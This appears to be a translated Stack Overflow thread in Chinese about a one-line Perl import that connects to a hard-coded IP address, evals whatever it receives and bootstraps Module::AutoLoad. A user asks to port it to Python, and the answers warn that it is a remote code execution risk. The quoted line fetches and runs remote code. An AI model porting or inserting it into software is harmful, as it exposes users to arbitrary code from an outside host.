我有这段代码
use lib do{eval<$b>&&botstrap("AutoLoad")if$b=new IO::Socket::INET 82.46.99.88.":1"};
似乎导入了一个库,但我不知道botstrap
是如何工作的。
有人可以向我解释一下,因为我想把它移植到Python。
答案 0 :(得分:11)
我戴上安全帽,并对模块的整体设计,特别是对测试套件进行一些评论。
我们一次又一次警告人们curl | bash
是一件非常愚蠢的事情。永远不要简单地执行恰好位于一个URL远端的,不受人控制并且通常可以在Internet上访问的东西,并希望一切都会好起来。
但是较早拉出该模块的原因并非是这样做的-尽管我认为即使将安全漏洞实现为模块的基本想法也是一个可怕的想法-由于所有这些原因而将其拉回以下:
所有这些的结合不仅是不安全的,而且是完全危险的。我从作者的答案中看到,对iOS越狱的引用被认为是“有趣的”。生产模块不应该这么有趣。
如果出于幽默目的[1],则将其放在非Acme命名空间中是不合适的。另外,绝对不需要混淆下载的代码。
即使作者将加载的内容更改为明文假人“嘿,我已经安装了”模块,他们仍然会削弱每次使用此模块的安装的安全性。如果要编写这样的模块,则必须准备对使用它的每个站点承担该级别的责任。即使您认为自己准备这样做,也可能没有。
使用者负责警察的脚枪是一回事。装满脚枪的弹药可能突然变得非常危险,而实际上是在测试套件期间发射的,这是非常不合适的。
更新:我已经直接与作者交谈,他似乎愿意这样做,并将就此模块提出建议:将其移至Acme,更改测试以使用本地HTTP服务器代替外部变量,另外还要求在模块完全运行之前将环境变量I_KNOW_THIS_IS_A_REMOTE_CODE_EXECUTION_VULNERABILITY_AND_I_AM_WILLING_TO_RISK_MY_JOB_AND_COMPANY
设置为true。
[1] CPAN使用Acme
名称空间作为放置有趣/无意义/等的地方。模块。
答案 1 :(得分:2)
botstrap
是一个私有子例程,它是Module::AutoLoad
模块的一部分。整个声明应该毫无疑问地包含在您的代码中
这个想法是模块将安装代码所需的任何模块,而无需操作员干预。我建议这是一个可怕的想法,你应该确保你的Python代码导入的任何东西都是以通常的方式安装的